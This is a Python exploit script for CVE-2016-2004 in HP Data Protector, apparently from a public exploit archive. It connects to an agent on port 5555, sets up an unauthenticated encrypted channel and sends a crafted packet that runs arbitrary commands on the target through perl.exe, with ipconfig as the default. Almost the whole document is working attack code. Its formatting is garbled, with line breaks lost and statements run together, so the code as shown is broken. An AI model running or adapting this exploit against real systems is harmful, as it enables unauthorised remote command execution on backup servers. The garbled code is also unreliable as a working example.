#!/usr/bin/python## Exploit Title: Data Protector Encrypted Communications# Date: 26-05-2016# Exploit Author: Ian Lovering# Vendor Homepage: http://www8.hp.com/uk/en/software-solutions/data-protector-backup-recovery-software/# Version: A.09.00 and earlier# Tested on: Windows Server 2008# CVE : CVE-2016-2004## This proof of concept demonstrates that enabling encrypted control communication on# Data Protector agents does not provide any additional security.# As is provides no authentication it is not a viable workaround to prevent the# exploitation of well known Data Protector issues such as cve-2014-2623## This exploit establishes and unauthenticated encrypted communication channel to # a Data Protector Agent and uses a well known unencrypted Data Protector vulnerability# to run arbitrary commands on the target.# Tested on Kali Linux 2 with python 2.7.9# Tested against Data Protector A.09.00 (Internal Build version 88) with encrypted control# communication enabled.# All other Data Protector settings are default.# Tested against Data Protector agent running on Windows 2008 R2# Also tested against Data Protector A.07## encrypted-dataprotector.py -e <ipaddress>## By default runs ipconfig on the target. # Can take a little while to return. Have patience ;)## CVE-2016-2004
import socket
import ssl
import time
import struct
import argparse
parser = argparse.ArgumentParser(prog='test-encrypt.py')
parser.add_argument('-e','--encrypt', dest='encrypt', action='store_true')
parser.add_argument('-p','--port',type=int)
parser.add_argument('-c','--command')
parser.add_argument('ipaddress')
parser.set_defaults(encrypt=False,port=5555)
args = parser.parse_args()
HOST = args.ipaddress
PORT = args.port
command = 'ipconfig'if args.command:
command = args.command
# initialise data
initdata = ("\x00\x00\x00\x48\xff\xfe\x32\x00\x36\x00\x37\x00\x00\x00\x20\x00""\x31\x00\x30\x00\x00\x00\x20\x00\x31\x00\x30\x00\x30\x00\x00\x00""\x20\x00\x39\x00\x30\x00\x30\x00\x00\x00\x20\x00\x38\x00\x38\x00""\x00\x00\x20\x00\x6f\x00\x6d\x00\x6e\x00\x69\x00\x64\x00\x6c\x00""\x63\x00\x00\x00\x20\x00\x34\x00\x00\x00\x00\x00")
OFFSET = 46
command = command.replace("\\","\\\\")
command = command.replace("\'","\\\'")
command_length = struct.pack(">I",OFFSET + len(command))
payload = command_length +\
"\x32\x00\x01\x01\x01\x01\x01\x01"+\
"\x00\x01\x00\x01\x00\x01\x00\x01"+\
"\x01\x00\x20\x32\x38\x00\x5c\x70"+\
"\x65\x72\x6c\x2e\x65\x78\x65\x00"+\
"\x20\x2d\x65\x73\x79\x73\x74\x65"+\
"\x6d('%s')\x00"% command
def get_data(sock):
response = ''
recv_len =1
while recv_len:
data = sock.recv(4096)
recv_len = len(data)
response +=dataif recv_len < 4096:
breakreturn response
def get_dp_response(sock):
print "===== Response ====="
print
while True:
# Get information about response
packed_length = sock.recv(4)if not packed_length:
break
n = struct.unpack(">I", packed_length)[0]
tmpresponse = sock.recv(n)
tmpresponse = tmpresponse.replace("\n","")
tmpresponse = tmpresponse.replace("\x00","")
tmpresponse = tmpresponse.replace("\xff\xfe\x39\x20","")if tmpresponse.upper().find("*RETVAL*")!= -1:
breakelse:
print tmpresponse
print
print "===== End ====="
print
client = socket.socket( socket.AF_INET, socket.SOCK_STREAM )if args.encrypt:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.set_ciphers('ALL')try:
client.connect(( HOST, PORT ))
print "Connected"if args.encrypt:
# send data protector init string
client.send(initdata)
response = get_data(client)# setup tls
client = context.wrap_socket(client)
print "Encryption Enabled"# send payload
client.send(payload)
print "Sent Payload"
print ""
print "===== Command ====="
print
print command
print
get_dp_response(client)
client.close()
except Exception as e:
print '[*] Exception. Exiting.'
print e
client.close()